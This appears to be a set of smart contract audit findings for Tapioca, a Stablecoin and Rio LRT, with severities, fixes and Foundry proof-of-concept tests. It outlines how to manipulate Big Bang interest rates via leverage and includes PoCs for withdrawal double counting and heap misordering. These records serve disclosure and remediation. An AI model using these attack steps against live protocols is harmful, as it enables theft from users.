Secondary market rates can still be manipulated via leverage executors because `penrose.reAccrueBigBangMarkets()` is never called in the leverage module.\\nThe attack described in Tapioca's C4 audit 1561 issue and also described in Spearbit's audit 5.2.16 issue is still possible utilizing the leverage modules.\\nAs a summary, these attacks described a way to manipulate interest rates. As stated in Tapioca's documentation, the interest rate for non-ETH markets is computed considering the current debt in ETH markets. Rate manipulation could be performed by an attacker following these steps:\\nBorrow a huge amount in the ETH market. This step did not accrue the other markets.\\nAccrue other non-ETH markets. It is important to be aware of the fact that non-ETH markets base their interest calculations considering the total debt in the ETH market. After step 1, the attacker triggers an accrual on non-ETH markets which will fetch the data from the greatly increased borrow amount in the ETH market, making the non-ETH market see a huge amount of debt, thus affecting and manipulating the computation of its interest rate.\\nThe fix introduced in the C4 and Spearbit audits incorporated a new function in the Penrose contract to mitigate this issue. If the caller is the `bigBangEthMarket`, then the internal `_reAccrueMarkets()` function will be called, and market's interest rates will be accrued prior to performing any kind of borrow. Following this fix, an attacker can no longer perform step 2 of accruing the markets with a manipulated rate because accrual on secondary markets has already been triggered.\\n```\\n// Penrose.sol\\n\\nfunction reAccrueBigBangMarkets() external notPaused {\\n if (msg.sender == bigBangEthMarket) {\\n _reAccrueMarkets(false);\\n } \\n }\\n \\n function _reAccrueMarkets(bool includeMainMarket) private {\\n uint256 len = allBigBangMarkets.length;\\n address[] memory markets = allBigBangMarkets;\\n for (uint256 i; i < len; i++) {\\n address market = markets[i];\\n if (isMarketRegistered[market]) {\\n if (includeMainMarket || market != bigBangEthMarket) {\\n IBigBang(market).accrue();\\n }\\n }\\n }\\n\\n emit ReaccruedMarkets(includeMainMarket);\\n }\\n```\\n\\nAlthough this fix is effective, the attack is still possible via Big Bang's leverage modules. Leveraging is a different way of borrowing that still affects a market's total debt. As we can see, the `buyCollateral()` function still performs a `_borrow()`, thus incrementing a market's debt:\\n```\\n// BBLeverage.sol\\n\\nfunction buyCollateral(address from, uint256 borrowAmount, uint256 supplyAmount, bytes calldata data) \\n external\\n optionNotPaused(PauseType.LeverageBuy)\\n solvent(from, false)\\n notSelf(from) \\n returns (uint256 amountOut) \\n { \\n // rest of code\\n\\n \\n {\\n (, uint256 borrowShare) = _borrow( \\n calldata_.from, \\n address(this), \\n calldata_.borrowAmount,\\n _computeVariableOpeningFee(calldata_.borrowAmount)\\n ); \\n (memoryData.borrowShareToAmount,) =\\n yieldBox.withdraw(assetId, address(this), address(leverageExecutor), 0, borrowShare);\\n }\\n \\n // rest of code\\n }\\n```\\n\\nBecause Penrose's `reAccrueBigBangMarkets()` function is not called when leveraging, the attack described in the C4 and Spearbit audits is still possible by utilizing leverage to increase the ETH market's total debt, and then accruing non-ETH markets so that rates are manipulated.
It is recommended to trigger Penrose's reAccrueBigBangMarkets() function when interacting with Big Bang's leverage modules, so that the issue can be fully mitigated.
Medium. A previously found issue is still present in the codebase which allows secondary Big Bang markets interest rates to be manipulated, allowing the attacker to perform profitable strategies and potentially affecting users.
```\\n// Penrose.sol\\n\\nfunction reAccrueBigBangMarkets() external notPaused {\\n if (msg.sender == bigBangEthMarket) {\\n _reAccrueMarkets(false);\\n } \\n }\\n \\n function _reAccrueMarkets(bool includeMainMarket) private {\\n uint256 len = allBigBangMarkets.length;\\n address[] memory markets = allBigBangMarkets;\\n for (uint256 i; i < len; i++) {\\n address market = markets[i];\\n if (isMarketRegistered[market]) {\\n if (includeMainMarket || market != bigBangEthMarket) {\\n IBigBang(market).accrue();\\n }\\n }\\n }\\n\\n emit ReaccruedMarkets(includeMainMarket);\\n }\\n```\\n
`TOFTMarketReceiverModule::marketBorrowReceiver` flow is broken
medium
The `TOFTMarketReceiverModule::marketBorrowReceiver` flow is broken and will revert when the Magnetar contract tries to transfer the ERC1155 tokens to the Market contract.\\n`TOFTMarketReceiverModule::marketBorrowReceiver` flow is broken.\\nLet's examine it more closely:\\nAfter checking the whitelisting status for the `marketHelper`, `magnetar` and the `market` contracts an approval is made to the Magnetar contract.\\n`MagnetarCollateralModule::depositAddCollateralAndBorrowFromMarket` get called with the passed parameters.\\nIf the `data.deposit` is true, the Magnetar contract will call `_extractTokens` with the following params: `from = msg_.user`, `token = collateralAddress` and `amount = msg_.collateralAmount`.\\n```\\n function _extractTokens(address _from, address _token, uint256 _amount) internal returns (uint256) {\\n uint256 balanceBefore = IERC20(_token).balanceOf(address(this));\\n // IERC20(_token).safeTransferFrom(_from, address(this), _amount);\\n pearlmit.transferFromERC20(_from, address(this), address(_token), _amount);\\n uint256 balanceAfter = IERC20(_token).balanceOf(address(this));\\n if (balanceAfter <= balanceBefore) revert Magnetar_ExtractTokenFail();\\n return balanceAfter - balanceBefore;\\n }\\n```\\n\\nThe collateral gets transferred into the Magnetar contract in case the `msg._user` has given sufficient allowance to the Magnetar contract through the Pearlmit contract.\\nAfter this `_setApprovalForYieldBox(data.market, yieldBox_);` is called that sets the allowance of the Magnetar contract to the Market contract.\\nThen `addCollateral` is called on the Market contract. I've inlined the internal function to make it easier to follow:\\n```\\n function _addCollateral(address from, address to, bool skim, uint256 amount, uint256 share) internal {\\n if (share == 0) {\\n share = yieldBox.toShare(collateralId, amount, false);\\n }\\n uint256 oldTotalCollateralShare = totalCollateralShare;\\n userCollateralShare[to] += share;\\n totalCollateralShare = oldTotalCollateralShare + share;\\n\\n // yieldBox.transfer(from, address(this), _assetId, share);\\n bool isErr = pearlmit.transferFromERC1155(from, address(this), address(yieldBox), collateralId, share);\\n if (isErr) {\\n revert TransferFailed();\\n }\\n }\\n```\\n\\nAfter the `userCollateralShare` mapping is updated `pearlmit.transferFromERC1155(from, address(this), address(yieldBox), collateralId, share);` gets called.\\nThis is critical as now the Magnetar is supposed to transfer the ERC1155 tokens(Yieldbox) to the Market contract.\\nIn order to do this the Magnetar contract should have given the allowance to the Market contract through the Pearlmit contract.\\nThis is not the case, the Magnetar has only executed `_setApprovalForYieldBox(data.market, yieldBox_);`, nothing else.\\nIt will revert inside the Pearlmit contract `transferFromERC1155` function when the allowance is being checked.\\nOther occurrences\\n`TOFT::mintLendXChainSGLXChainLockAndParticipateReceiver` has a similar issue as:\\nExtract the bbCollateral from the user, sets approval for the BigBang contract through YieldBox.\\nBut then inside the `BBCollateral::addCollateral` the `_addTokens` again expects an allowance through the Pearlmit contract.\\n`TOFT::lockAndParticipateReceiver` calls the `Magnetar:lockAndParticipate` where:\\n```\\n## MagnetarMintCommonModule.sol\\n\\nfunction _lockOnTOB(\\n IOptionsLockData memory lockData,\\n IYieldBox yieldBox_,\\n uint256 fraction,\\n bool participate,\\n address user,\\n address singularityAddress\\n ) internal returns (uint256 tOLPTokenId) {\\n // rest of code.\\n _setApprovalForYieldBox(lockData.target, yieldBox_);\\n tOLPTokenId = ITapiocaOptionLiquidityProvision(lockData.target).lock(\\n participate ? address(this) : user, singularityAddress, lockData.lockDuration, lockData.amount\\n );\\n}\\n\\n## TapiocaOptionLiquidityProvision.sol\\n\\nfunction lock(address _to, IERC20 _singularity, uint128 _lockDuration, uint128 _ybShares)\\n external\\n nonReentrant\\n returns (uint256 tokenId)\\n{\\n // Transfer the Singularity position to this contract\\n // yieldBox.transfer(msg.sender, address(this), sglAssetID, _ybShares);\\n {\\n bool isErr =\\n pearlmit.transferFromERC1155(msg.sender, address(this), address(yieldBox), sglAssetID, _ybShares);\\n if (isErr) {\\n revert TransferFailed();\\n }\\n }\\n```\\n\\nThe same issue where approval through the Pearlmit contract is expected.
Review all the allowance mechanisms and ensure that they are correct.
The `TOFTMarketReceiverModule::marketBorrowReceiver` flow is broken and will revert when the Magnetar contract tries to transfer the ERC1155 tokens to the Market contract. There are also other instances of similar issues.
```\\n function _extractTokens(address _from, address _token, uint256 _amount) internal returns (uint256) {\\n uint256 balanceBefore = IERC20(_token).balanceOf(address(this));\\n // IERC20(_token).safeTransferFrom(_from, address(this), _amount);\\n pearlmit.transferFromERC20(_from, address(this), address(_token), _amount);\\n uint256 balanceAfter = IERC20(_token).balanceOf(address(this));\\n if (balanceAfter <= balanceBefore) revert Magnetar_ExtractTokenFail();\\n return balanceAfter - balanceBefore;\\n }\\n```\\n
Blacklisted accounts can still transact.
medium
Accounts that have been blacklisted by the `BLACKLISTER_ROLE` continue to transact normally.\\nCurrently, the only real effect of blacklisting an account is the seizure of `Stablecoin` funds:\\n```\\n/**\\n * @notice Overrides Blacklist function to transfer balance of a blacklisted user to the caller.\\n * @dev This function is called internally when an account is blacklisted.\\n * @param user The blacklisted user whose balance will be transferred.\\n */\\nfunction _onceBlacklisted(address user) internal override {\\n _transfer(user, _msgSender(), balanceOf(user));\\n}\\n```\\n\\nHowever, following a call to `addBlackList(address)`, the blacklisted account may continue to transact using `Stablecoin`.\\nCombined with previous audit reports, which attest to the blacklist function's susceptibility to frontrunning, the current implementation of the blacklist operation can effectively be considered a no-op.
ERC20s that enforce blacklists normally prevent a sanctioned address from being able to transact:\\n📄 Stablecoin.sol\\n```\\n// Add the line below\\n error Blacklisted(address account);\\n\\n// Add the line below\\nfunction _update(address from, address to, uint256 value) internal virtual override {\\n// Add the line below\\n\\n// Add the line below\\n if (blacklisted(from)) revert Blacklisted(from); \\n// Add the line below\\n if (blacklisted(to)) revert Blacklisted(to);\\n// Add the line below\\n\\n// Add the line below\\n super._update(from, to, value);\\n// Add the line below\\n}\\n```\\n
Medium, as this the failure of a manually administered security feature.
```\\n/**\\n * @notice Overrides Blacklist function to transfer balance of a blacklisted user to the caller.\\n * @dev This function is called internally when an account is blacklisted.\\n * @param user The blacklisted user whose balance will be transferred.\\n */\\nfunction _onceBlacklisted(address user) internal override {\\n _transfer(user, _msgSender(), balanceOf(user));\\n}\\n```\\n
Setting the strategy cap to "0" does not update the total shares held or the withdrawal queue
high
Removing or setting the strategy cap to 0 will not decrease the shares held in the system. Additionally, it will not update the withdrawal queue, which means users can request withdrawals, and the withdrawals will exceed the allocated amount when rebalance occurs.\\nLet's go over the issue with an example:\\nAssume there is 1 strategy and 2 operators active in an LSR with total strategy shares holding is 1000 * 1e18 where both operators shares 500-500 the assets.\\nWhen the owner decides to inactivate or just simply sets one of the operators cap to "0" the operator will withdraw all its assets as follows:\\n```\\nfunction setOperatorStrategyCap(\\n RioLRTOperatorRegistryStorageV1.StorageV1 storage s,\\n uint8 operatorId,\\n IRioLRTOperatorRegistry.StrategyShareCap memory newShareCap\\n ) internal {\\n . \\n // @review this "if" will be executed\\n -> if (currentShareDetails.cap > 0 && newShareCap.cap == 0) {\\n // If the operator has allocations, queue them for exit.\\n if (currentShareDetails.allocation > 0) {\\n -> operatorDetails.queueOperatorStrategyExit(operatorId, newShareCap.strategy);\\n }\\n // Remove the operator from the utilization heap.\\n utilizationHeap.removeByID(operatorId);\\n } else if (currentShareDetails.cap == 0 && newShareCap.cap > 0) {\\n // If the current cap is 0 and the new cap is greater than 0, insert the operator into the heap.\\n utilizationHeap.insert(OperatorUtilizationHeap.Operator(operatorId, 0));\\n } else {\\n // Otherwise, update the operator's utilization in the heap.\\n utilizationHeap.updateUtilizationByID(operatorId, currentShareDetails.allocation.divWad(newShareCap.cap));\\n }\\n .\\n }\\n```\\n\\n```\\nfunction queueOperatorStrategyExit(IRioLRTOperatorRegistry.OperatorDetails storage operator, uint8 operatorId, address strategy) internal {\\n .\\n // @review asks delegator to exit\\n -> bytes32 withdrawalRoot = delegator.queueWithdrawalForOperatorExit(strategy, sharesToExit);\\n emit IRioLRTOperatorRegistry.OperatorStrategyExitQueued(operatorId, strategy, sharesToExit, withdrawalRoot);\\n }\\n```\\n\\nThen the operator delegator contract calls the EigenLayer to withdraw all its balance as follows:\\n```\\nfunction _queueWithdrawalForOperatorExitOrScrape(address strategy, uint256 shares) internal returns (bytes32 root) {\\n . // @review jumps to internal function\\n -> root = _queueWithdrawal(strategy, shares, address(depositPool()));\\n }\\n\\nfunction _queueWithdrawal(address strategy, uint256 shares, address withdrawer) internal returns (bytes32 root) {\\n IDelegationManager.QueuedWithdrawalParams[] memory withdrawalParams = new IDelegationManager.QueuedWithdrawalParams[](1);\\n withdrawalParams[0] = IDelegationManager.QueuedWithdrawalParams({\\n strategies: strategy.toArray(),\\n shares: shares.toArray(),\\n withdrawer: withdrawer\\n });\\n // @review calls Eigen layer to queue all the balance and returns the root\\n -> root = delegationManager.queueWithdrawals(withdrawalParams)[0];\\n }\\n```\\n\\nWhich we can observe from the above snippet the EigenLayer is called for the withdrawal and then the entire function execution ends. The problem is `assetRegistry` still thinks there are 1000 * 1e18 EigenLayer shares in the operators. Also, the `withdrawalQueue` is not aware of this withdrawal request which means that users can call `requestWithdrawal` to withdraw up to 1000 * 1e18 EigenLayer shares worth LRT but in reality the 500 * 1e18 portion of it already queued in withdrawal by the owner of operator registry.\\nCoded PoC:\\n```\\nfunction test_SettingStrategyCapZero_WithdrawalsAreDoubleCountable() public {\\n IRioLRTOperatorRegistry.StrategyShareCap[] memory zeroStrategyShareCaps =\\n new IRioLRTOperatorRegistry.StrategyShareCap[](2);\\n zeroStrategyShareCaps[0] = IRioLRTOperatorRegistry.StrategyShareCap({strategy: RETH_STRATEGY, cap: 0});\\n zeroStrategyShareCaps[1] = IRioLRTOperatorRegistry.StrategyShareCap({strategy: CBETH_STRATEGY, cap: 0});\\n\\n uint8 operatorId = addOperatorDelegator(reLST.operatorRegistry, address(reLST.rewardDistributor));\\n\\n uint256 AMOUNT = 111e18;\\n\\n // Allocate to cbETH strategy.\\n cbETH.approve(address(reLST.coordinator), type(uint256).max);\\n uint256 lrtAmount = reLST.coordinator.deposit(CBETH_ADDRESS, AMOUNT);\\n\\n // Push funds into EigenLayer.\\n vm.prank(EOA, EOA);\\n reLST.coordinator.rebalance(CBETH_ADDRESS);\\n\\n vm.recordLogs();\\n reLST.operatorRegistry.setOperatorStrategyShareCaps(operatorId, zeroStrategyShareCaps);\\n\\n Vm.Log[] memory entries = vm.getRecordedLogs();\\n assertGt(entries.length, 0);\\n\\n for (uint256 i = 0; i < entries.length; i++) {\\n if (entries[i].topics[0] == keccak256('OperatorStrategyExitQueued(uint8,address,uint256,bytes32)')) {\\n uint8 emittedOperatorId = abi.decode(abi.encodePacked(entries[i].topics[1]), (uint8));\\n (address strategy, uint256 sharesToExit, bytes32 withdrawalRoot) =\\n abi.decode(entries[i].data, (address, uint256, bytes32));\\n\\n assertEq(emittedOperatorId, operatorId);\\n assertEq(strategy, CBETH_STRATEGY);\\n assertEq(sharesToExit, AMOUNT);\\n assertNotEq(withdrawalRoot, bytes32(0));\\n\\n break;\\n }\\n if (i == entries.length - 1) fail('Event not found');\\n }\\n\\n // @review add these\\n // @review all the eigen layer shares are already queued as we checked above, now user requestWithdrawal\\n // of the same amount of EigenLayer share worth of LRT which there will be double counting when epoch is settled.\\n uint256 queuedShares = reLST.coordinator.requestWithdrawal(address(cbETH), lrtAmount);\\n console.log("Queued shares", queuedShares);\\n }\\n```\\n
Update the withdrawal queue when the operator registry admin changes the EigenLayer shares amount by either removing an operator or setting its strategy cap to "0".
High, because the users withdrawals will never go through in rebalancing because of double counting of the same share withdrawals.
```\\nfunction setOperatorStrategyCap(\\n RioLRTOperatorRegistryStorageV1.StorageV1 storage s,\\n uint8 operatorId,\\n IRioLRTOperatorRegistry.StrategyShareCap memory newShareCap\\n ) internal {\\n . \\n // @review this "if" will be executed\\n -> if (currentShareDetails.cap > 0 && newShareCap.cap == 0) {\\n // If the operator has allocations, queue them for exit.\\n if (currentShareDetails.allocation > 0) {\\n -> operatorDetails.queueOperatorStrategyExit(operatorId, newShareCap.strategy);\\n }\\n // Remove the operator from the utilization heap.\\n utilizationHeap.removeByID(operatorId);\\n } else if (currentShareDetails.cap == 0 && newShareCap.cap > 0) {\\n // If the current cap is 0 and the new cap is greater than 0, insert the operator into the heap.\\n utilizationHeap.insert(OperatorUtilizationHeap.Operator(operatorId, 0));\\n } else {\\n // Otherwise, update the operator's utilization in the heap.\\n utilizationHeap.updateUtilizationByID(operatorId, currentShareDetails.allocation.divWad(newShareCap.cap));\\n }\\n .\\n }\\n```\\n
swapValidatorDetails incorrectly writes keys to memory, resulting in permanently locked beacon chain deposits
high
When loading BLS public keys from storage to memory, the keys are partly overwritten with zero bytes. This ultimately causes allocations of these malformed public keys to permanently lock deposited ETH in the beacon chain deposit contract.\\nValidatorDetails.swapValidatorDetails is used by RioLRTOperatorRegistry.reportOutOfOrderValidatorExits to swap the details in storage of validators which have been exited out of order:\\n```\\n// Swap the position of the validators starting from the `fromIndex` with the validators that were next in line to be exited.\\nVALIDATOR_DETAILS_POSITION.swapValidatorDetails(operatorId, fromIndex, validators.exited, validatorCount);\\n```\\n\\nIn swapValidatorDetails, for each swap to occur, we load two keys into memory from storage:\\n```\\nkeyOffset1 = position.computeStorageKeyOffset(operatorId, startIndex1);\\nkeyOffset2 = position.computeStorageKeyOffset(operatorId, startIndex2);\\nassembly {\\n // Load key1 into memory\\n let _part1 := sload(keyOffset1) // Load bytes 0..31\\n let _part2 := sload(add(keyOffset1, 1)) // Load bytes 32..47\\n mstore(add(key1, 0x20), _part1) // Store bytes 0..31\\n mstore(add(key1, 0x30), shr(128, _part2)) // Store bytes 16..47\\n\\n isEmpty := iszero(or(_part1, _part2)) // Store if key1 is empty\\n\\n // Load key2 into memory\\n _part1 := sload(keyOffset2) // Load bytes 0..31\\n _part2 := sload(add(keyOffset2, 1)) // Load bytes 32..47\\n mstore(add(key2, 0x20), _part1) // Store bytes 0..31\\n mstore(add(key2, 0x30), shr(128, _part2)) // Store bytes 16..47\\n\\n isEmpty := or(isEmpty, iszero(or(_part1, _part2))) // Store if key1 or key2 is empty\\n}\\n```\\n\\nThe problem here is that when we store the keys in memory, they don't end up as intended. Let's look at how it works to see where it goes wrong.\\nThe keys used here are BLS public keys, with a length of 48 bytes, e.g.: `0x95cfcb859956953f9834f8b14cdaa939e472a2b5d0471addbe490b97ed99c6eb8af94bc3ba4d4bfa93d087d522e4b78d`. As such, previously to entering this for loop, we initialize key1 and key2 in memory as 48 byte arrays:\\n```\\nbytes memory key1 = new bytes(48);\\nbytes memory key2 = new bytes(48);\\n```\\n\\nSince they're longer than 32 bytes, they have to be stored in two separate storage slots, thus we do two sloads per key to retrieve `_part1` and `_part2`, containing the first 32 bytes and the last 16 bytes respectively.\\nThe following lines are used with the intention of storing the key in two separate memory slots, similarly to how they're stored in storage:\\n```\\nmstore(add(key1, 0x20), _part1) // Store bytes 0..31\\nmstore(add(key1, 0x30), shr(128, _part2)) // Store bytes 16..47\\n```\\n\\nThe problem however is that the second mstore shifts `_part2` 128 bits to the right, causing the leftmost 128 bits to zeroed. Since this mstore is applied only 16 (0x10) bytes after the first mstore, we overwrite bytes 16..31 with zero bytes. We can test this in chisel to prove it:\\nUsing this example key: `0x95cfcb859956953f9834f8b14cdaa939e472a2b5d0471addbe490b97ed99c6eb8af94bc3ba4d4bfa93d087d522e4b78d`\\nWe assign the first 32 bytes to _part1:\\n```\\nbytes32 _part1 = 0x95cfcb859956953f9834f8b14cdaa939e472a2b5d0471addbe490b97ed99c6eb\\n```\\n\\nWe assign the last 16 bytes to _part2:\\n```\\nbytes32 _part2 = bytes32(bytes16(0x8af94bc3ba4d4bfa93d087d522e4b78d))\\n```\\n\\nWe assign 48 bytes in memory for key1:\\n```\\nbytes memory key1 = new bytes(48);\\n```\\n\\nAnd we run the following snippet from swapValidatorDetails in chisel:\\n```\\nassembly {\\n mstore(add(key1, 0x20), _part1) // Store bytes 0..31\\n mstore(add(key1, 0x30), shr(128, _part2)) // Store bytes 16..47\\n}\\n```\\n\\nNow we can check the resulting memory using `!memdump`, which outputs the following:\\n```\\n➜ !memdump\\n[0x00:0x20]: 0x0000000000000000000000000000000000000000000000000000000000000000\\n[0x20:0x40]: 0x0000000000000000000000000000000000000000000000000000000000000000\\n[0x40:0x60]: 0x00000000000000000000000000000000000000000000000000000000000000e0\\n[0x60:0x80]: 0x0000000000000000000000000000000000000000000000000000000000000000\\n[0x80:0xa0]: 0x0000000000000000000000000000000000000000000000000000000000000030\\n[0xa0:0xc0]: 0x95cfcb859956953f9834f8b14cdaa93900000000000000000000000000000000\\n[0xc0:0xe0]: 0x8af94bc3ba4d4bfa93d087d522e4b78d00000000000000000000000000000000\\n```\\n\\nWe can see from the memory that at the free memory pointer, the length of key1 is defined 48 bytes (0x30), and following it is the resulting key with 16 bytes zeroed in the middle of the key.
We can solve this by simply mstoring `_part2` prior to mstoring `_part1`, allowing the mstore of `_part1` to overwrite the zero bytes from _part2:\\n```\\nmstore(add(key1, 0x30), shr(128, _part2)) // Store bytes 16..47\\nmstore(add(key1, 0x20), _part1) // Store bytes 0..31\\n```\\n\\nNote that the above change must be made for both keys.
Whenever we swapValidatorDetails using reportOutOfOrderValidatorExits, both sets of validators will have broken public keys and when allocated to will cause ETH to be permanently locked in the beacon deposit contract.\\nWe can see how this manifests in allocateETHDeposits where we retrieve the public keys for allocations:\\n```\\n// Load the allocated validator details from storage and update the deposited validator count.\\n(pubKeyBatch, signatureBatch) = ValidatorDetails.allocateMemory(newDepositAllocation);\\nVALIDATOR_DETAILS_POSITION.loadValidatorDetails(\\n operatorId, validators.deposited, newDepositAllocation, pubKeyBatch, signatureBatch, 0\\n);\\n// rest of code\\nallocations[allocationIndex] = OperatorETHAllocation(operator.delegator, newDepositAllocation, pubKeyBatch, signatureBatch);\\n```\\n\\nWe then use the public keys to stakeETH:\\n```\\n(uint256 depositsAllocated, IRioLRTOperatorRegistry.OperatorETHAllocation[] memory allocations) = operatorRegistry.allocateETHDeposits(\\n depositCount\\n);\\ndepositAmount = depositsAllocated * ETH_DEPOSIT_SIZE;\\n\\nfor (uint256 i = 0; i < allocations.length; ++i) {\\n uint256 deposits = allocations[i].deposits;\\n\\n IRioLRTOperatorDelegator(allocations[i].delegator).stakeETH{value: deposits * ETH_DEPOSIT_SIZE}(\\n deposits, allocations[i].pubKeyBatch, allocations[i].signatureBatch\\n );\\n}\\n```\\n\\nUltimately for each allocation, the public key is passed to the beacon DepositContract.deposit where it deposits to a public key for which we don't have the associated private key and thus can never withdraw.
```\\n// Swap the position of the validators starting from the `fromIndex` with the validators that were next in line to be exited.\\nVALIDATOR_DETAILS_POSITION.swapValidatorDetails(operatorId, fromIndex, validators.exited, validatorCount);\\n```\\n
`reportOutOfOrderValidatorExits` does not updates the heap order
high
When an operator's validator exits without a withdrawal request, the owner can invoke the `reportOutOfOrderValidatorExits` function to increase the `exited` portion of the operator validators. However, this action does not update the heap. Consequently, during subsequent allocation or deallocation processes, the heap may incorrectly mark validators as `exited`.\\nFirst, let's see how the utilization is determined for native ETH deposits for operators which is calculated as: `operatorShares.allocation.divWad(operatorShares.cap)` where as the allocation is the total `deposited` validators and the `cap` is predetermined value by the owner of the registry.\\nWhen the heap is retrieved from the storage, here how it is fetched:\\n```\\nfunction getOperatorUtilizationHeapForETH(RioLRTOperatorRegistryStorageV1.StorageV1 storage s)\\n internal\\n view\\n returns (OperatorUtilizationHeap.Data memory heap)\\n {\\n uint8 numActiveOperators = s.activeOperatorCount;\\n if (numActiveOperators == 0) return OperatorUtilizationHeap.Data(new OperatorUtilizationHeap.Operator[](0), 0);\\n\\n heap = OperatorUtilizationHeap.initialize(MAX_ACTIVE_OPERATOR_COUNT);\\n\\n uint256 activeDeposits;\\n IRioLRTOperatorRegistry.OperatorValidatorDetails memory validators;\\n unchecked {\\n uint8 i;\\n for (i = 0; i < numActiveOperators; ++i) {\\n uint8 operatorId = s.activeOperatorsByETHDepositUtilization.get(i);\\n\\n // Non-existent operator ID. We've reached the end of the heap.\\n if (operatorId == 0) break;\\n\\n validators = s.operatorDetails[operatorId].validatorDetails;\\n activeDeposits = validators.deposited - validators.exited;\\n heap.operators[i + 1] = OperatorUtilizationHeap.Operator({\\n id: operatorId,\\n utilization: activeDeposits.divWad(validators.cap)\\n });\\n }\\n heap.count = i;\\n }\\n }\\n```\\n\\nas we can see, the heap is always assumed to be order in the storage when the registry fetches it initially. There are no ordering of the heap when requesting the heap initially.\\nWhen, say the deallocation happens via an user withdrawal request, the queue can exit early if the operator in the heap has "0" room:\\n```\\n function deallocateETHDeposits(uint256 depositsToDeallocate) external onlyCoordinator returns (uint256 depositsDeallocated, OperatorETHDeallocation[] memory deallocations) {\\n deallocations = new OperatorETHDeallocation[](s.activeOperatorCount);\\n\\n\\n OperatorUtilizationHeap.Data memory heap = s.getOperatorUtilizationHeapForETH();\\n if (heap.isEmpty()) revert NO_AVAILABLE_OPERATORS_FOR_DEALLOCATION();\\n\\n\\n uint256 deallocationIndex;\\n uint256 remainingDeposits = depositsToDeallocate;\\n\\n\\n bytes memory pubKeyBatch;\\n while (remainingDeposits > 0) {\\n uint8 operatorId = heap.getMax().id;\\n\\n\\n OperatorDetails storage operator = s.operatorDetails[operatorId];\\n OperatorValidatorDetails memory validators = operator.validatorDetails;\\n -> uint256 activeDeposits = validators.deposited - validators.exited;\\n\\n\\n // Exit early if the operator with the highest utilization rate has no active deposits,\\n // as no further deallocations can be made.\\n -> if (activeDeposits == 0) break;\\n .\\n }\\n .\\n }\\n```\\n\\n`reportOutOfOrderValidatorExits` increases the "exited" part of the operators validator:\\n```\\nfunction reportOutOfOrderValidatorExits(uint8 operatorId, uint256 fromIndex, uint256 validatorCount) external {\\n .\\n .\\n // Swap the position of the validators starting from the `fromIndex` with the validators that were next in line to be exited.\\n VALIDATOR_DETAILS_POSITION.swapValidatorDetails(operatorId, fromIndex, validators.exited, validatorCount);\\n -> operator.validatorDetails.exited += uint40(validatorCount);\\n\\n emit OperatorOutOfOrderValidatorExitsReported(operatorId, validatorCount);\\n }\\n```\\n\\nNow, knowing all these above, let's do an example where calling `reportOutOfOrderValidatorExits` can make the heap work wrongly and exit prematurely.\\nAssume there are 3 operators which has native ETH deposits. operatorId 1 -> utilization 5% operatorId 2 -> utilization 10% operatorId 3 -> utilization 15%\\nsuch operators would be ordered in the heap as: heap.operators[1] -> operatorId: 1, utilization: 5 heap.operators[2] -> operatorId: 2, utilization: 10 heap.operators[3] -> operatorId: 3, utilization: 15 heap.getMin() -> operatorId: 1, utilization: 5 heap.getMax() -> operatorId:3, utilization 15\\nnow, let's say the "cap" is 100 for all of the operators which means that: operatorId 1 -> validator.deposits = 5, validator.exit = 0 operatorId 2 -> validator.deposits = 10, validator.exit = 0 operatorId 3 -> validator.deposits = 15, validator.exit = 0\\nLet's assume that the operator 3 exits 15 validator from beacon chain without prior to a user request, which is a reason for owner to call `reportOutOfOrderValidatorExits` to increase the exited validators.\\nWhen the owner calls `reportOutOfOrderValidatorExits` for the operatorId 3, the exited will be 15 for the operatorId 3. After the call the operators validator balances will be: operatorId 1 -> validator.deposits = 5, validator.exit = 0 operatorId 2 -> validator.deposits = 10, validator.exit = 8 operatorId 3 -> validator.deposits = 15, validator.exit = 15\\nhence, the utilizations will be: operatorId 1 -> utilization 5% operatorId 2 -> utilization 10% operatorId 3 -> utilization 0%\\nwhich means now the operatorId 3 has the lowest utilization and should be the first to get deposits and last to unwind deposits from. However, the heap is not re-ordered meaning that the minimum in the heap is still opeartorId 1 and the maximum is still operatorId 3!\\nNow, when a user tries to withdraw, the first deallocation target will be the operatorId 3 because the heap thinks that it is the most utilized still.\\nHence, the user will not be able to request the withdrawal!\\nCoded PoC:\\n```\\n// forge test --match-contract OperatorUtilizationHeapTest --match-test test_RemovingValidatorMessesTheHeap -vv\\n function test_RemovingValidatorMessesTheHeap() public {\\n OperatorUtilizationHeap.Data memory heap = OperatorUtilizationHeap.initialize(5);\\n\\n // @review initialize and order 3 operators \\n heap.insert(OperatorUtilizationHeap.Operator({id: 1, utilization: 5}));\\n heap.store(heapStore);\\n\\n heap.insert(OperatorUtilizationHeap.Operator({id: 2, utilization: 10}));\\n heap.store(heapStore);\\n\\n heap.insert(OperatorUtilizationHeap.Operator({id: 3, utilization: 15}));\\n heap.store(heapStore);\\n\\n // @review mimick how the heap can be fetched from the storage initially\\n uint8 numActiveOperators = 3;\\n OperatorUtilizationHeap.Data memory newHeap = OperatorUtilizationHeap.initialize(64);\\n uint8 i;\\n for (i = 0; i < numActiveOperators; ++i) {\\n uint8 operatorId = heapStore.get(i);\\n if (operatorId == 0) break;\\n\\n newHeap.operators[i+1] = OperatorUtilizationHeap.Operator({\\n id: operatorId,\\n utilization: heap.operators[operatorId].utilization\\n });\\n }\\n newHeap.count = i;\\n\\n // @review assume the reportValidatorAndExits called, and now the utilization is "0"\\n heap.updateUtilizationByID(3, 0);\\n // @review this should be done, but the heap is not stored! \\n // heap.store(heapStore);\\n\\n console.log("1st", heap.operators[1].id);\\n console.log("2nd", heap.operators[2].id);\\n console.log("3rd", heap.operators[3].id);\\n console.log("origin heaps min", heap.getMin().id);\\n console.log("origin heaps max", heap.getMax().id);\\n\\n console.log("1st", newHeap.operators[1].id);\\n console.log("2nd", newHeap.operators[2].id);\\n console.log("3rd", newHeap.operators[3].id);\\n console.log("new heaps min", newHeap.getMin().id);\\n console.log("new heaps max", newHeap.getMax().id);\\n\\n // @review mins and maxs are mixed\\n assertEq(newHeap.getMin().id, 1);\\n assertEq(heap.getMin().id, 3);\\n assertEq(heap.getMax().id, 2);\\n assertEq(newHeap.getMax().id, 3);\\n }\\n```\\n
update the utilization in the reportOutOfOrderValidatorExits function
Heap can be mixed, withdrawals and deposits can fail, hence I will label this as high.
